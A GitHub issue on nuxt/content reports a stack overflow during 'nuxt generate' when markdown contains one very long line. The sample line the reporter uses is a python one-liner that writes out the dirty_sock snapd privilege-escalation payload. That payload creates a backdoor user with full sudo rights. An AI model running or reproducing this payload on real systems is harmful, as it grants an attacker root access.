nuxt / content

The file-based CMS for your Nuxt application, powered by Markdown and Vue components.
https://content.nuxt.com
MIT License
3.11k stars 624 forks source link

RangeError: Maximum call stack size exceeded when the markdown file contains a really long single line #847

Open GergelyTarko opened 3 years ago

GergelyTarko commented 3 years ago

Version

@nuxt/content: v1.14.0 nuxt: v2.14.12

Reproduction Link

Steps to reproduce

  1. Have a markdown file with the following line in a code block: python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAAAwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiAPiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5qumvhFkbY5Pr4ba1mk4lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkcMA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"\*4256 + "=="' | base64 -d > exploit.snap (Note: the code above is a single line without linebreaks.)
  2. Try to run nuxt generate

    What is Expected?

The static site should be generated without any errors.

What is actually happening?

nuxt gives a Maximum call stack size exceeded error. at JSON.stringify (<anonymous>) at Loki.serialize (node_modules\@lokidb\loki\lokidb.loki.js:5106:29) at node_modules\@nuxt\content\lib\index.js:193:21 at async Nuxt.callHook (node_modules\hable\dist\hable.js:1:959) at async Generator.initDist (node_modules\@nuxt\generator\dist\generator.js:273:5) at async Generator.initiate (node_modules\@nuxt\generator\dist\generator.js:122:7) at async Generator.generate (node_modules\@nuxt\generator\dist\generator.js:71:5) at async generate$1 (node_modules\@nuxt\cli\dist\cli-generate.js:46:22) at async Object.run (node_modules\@nuxt\cli\dist\cli-generate.js:284:7) at async NuxtCommand.run (node_modules\@nuxt\cli\dist\cli-index.js:413:7)

Temporary Fix

Having a linebreak in the code solves the problem, though the script above is supposed to be a single-line code and I'd like to display it as that.

lustremedia commented 3 years ago

This might be related: https://github.com/nuxt/content/issues/947